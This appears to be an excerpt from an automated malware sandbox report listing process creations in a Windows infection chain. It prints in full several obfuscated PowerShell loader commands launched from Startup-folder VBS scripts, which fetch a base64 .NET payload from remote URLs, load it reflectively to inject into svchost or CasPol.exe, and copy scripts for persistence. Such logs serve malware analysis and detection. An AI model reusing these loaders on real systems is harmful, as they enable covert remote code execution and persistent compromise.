ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_32.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_pow.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
